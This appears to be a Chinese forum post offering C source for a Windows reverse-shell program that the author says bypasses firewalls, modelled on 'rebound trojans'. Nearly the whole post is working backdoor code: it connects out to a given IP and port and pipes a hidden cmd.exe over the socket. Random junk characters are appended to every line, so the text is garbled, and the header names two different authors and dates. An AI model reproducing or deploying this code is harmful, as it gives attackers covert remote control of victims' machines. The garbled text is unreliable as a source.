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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 r!+{In+Z  
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/* ============================== TI8r/P? ]V  
Rebound port in Windows NT 'gvR?[!t  
By wind,2006/7 X!p`|i  
===============================*/ ocFk#FW  
#include SkE<V0  
#include  }:Gs ,  
sVK?sBs]  
#pragma comment(lib,"wsock32.lib") o`,~#P|  
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void OutputShell(); qyv=ot0"~F  
SOCKET sClient; 0Gc@AG{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; pL5cw=  
1^4:l!0D  
void main(int argc,char **argv) ,VHqZ'6  
{ @kqxN\DE  
WSADATA stWsaData; ?9kC[4G  
int nRet; BG+i tyH  
SOCKADDR_IN stSaiClient,stSaiServer; $2Whb!7Z(  
4P&2Z0  
if(argc != 3) "FWx;65CR  
{ Y @p<f5[c  
printf("Useage:\n\rRebound DestIP DestPort\n"); p 1'l D  
return; ,^1zG  
} mK[Z#obc=  
;^5k_\  
WSAStartup(MAKEWORD(2,2),&stWsaData); motK}G  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n4/Wd?#`  
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stSaiClient.sin_family = AF_INET; N)H "'#-  
stSaiClient.sin_port = htons(0); XP:A"WK"  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ('tXv"fT  
;:fW]5"R  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rG}e\ziKuj  
{ 4,e'B-.  
printf("Bind Socket Failed!\n"); }/F$73Xd  
return; AJbCC  
} TI4Hu,rc  
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stSaiServer.sin_family = AF_INET; ,Uz8_r  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]>t~Bcn m  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); LE\=Y;%  
->8Kd1^F  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "XR=P> xk  
{ +?$J8Paf  
printf("Connect Error!"); *Jd"3Si/  
return; L~Gr,i  
} #h5lz%2g  
OutputShell(); `RL Wr,h  
} uiVN z8H  
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void OutputShell() V4:/LNq_]  
{ Io1j%T#ZT  
char szBuff[1024]; eQuu\/z*H  
SECURITY_ATTRIBUTES stSecurityAttributes; 5#,H&ui\  
OSVERSIONINFO stOsversionInfo; Vx h39eW  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]YgR  
STARTUPINFO stStartupInfo; apo)cR  
char *szShell; An{>39{  
PROCESS_INFORMATION stProcessInformation; /MGapmqV9  
unsigned long lBytesRead; ]JrD@ Vy  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |O{N_-];.  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K(EJ`2]:r  
stSecurityAttributes.lpSecurityDescriptor = 0; h2ROQKL"B  
stSecurityAttributes.bInheritHandle = TRUE; b=,B Le\  
N1a]y/  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2:*15RH3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); m,k 0 h%  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ipu!{kJ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S&_03  
stStartupInfo.wShowWindow = SW_HIDE; 'D+xs}\  
stStartupInfo.hStdInput = hReadPipe; rH3U;K!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; P`biHs8O  
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GetVersionEx(&stOsversionInfo); ,/\`Rc^n  
oY)eN?c  
switch(stOsversionInfo.dwPlatformId) o,*m,Qc  
{ /Y #8.sr  
case 1: ;@wa\H[3v2  
szShell = "command.com"; )A8#cY!<  
break;  b`jR("U  
default: :_8K8Sa  
szShell = "cmd.exe"; ;m]V12  
break; ZcN0:xU  
} |+Y-i4t  
_:r8UVAT.  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,:?ibE=  
J,=K1>8s  
send(sClient,szMsg,77,0); hX.cdt_?  
while(1) uf6egm5 ]  
{ _3`G ZeGV  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Jt_=aMY:7  
if(lBytesRead) $*C }iJsF  
{ d@ZDIy  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); h4hAzFQ.s  
send(sClient,szBuff,lBytesRead,0); T3wTMbZ!VK  
} TO6F  
else Y&6jFT_  
{ {7:1F)Pj  
lBytesRead=recv(sClient,szBuff,1024,0); 7{#p'.nc5  
if(lBytesRead<=0) break; b~gq8,Fatb  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ynsYU(  
} xV> .]  
} Wg|6{'a  
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return; 5U2%X pO   
}
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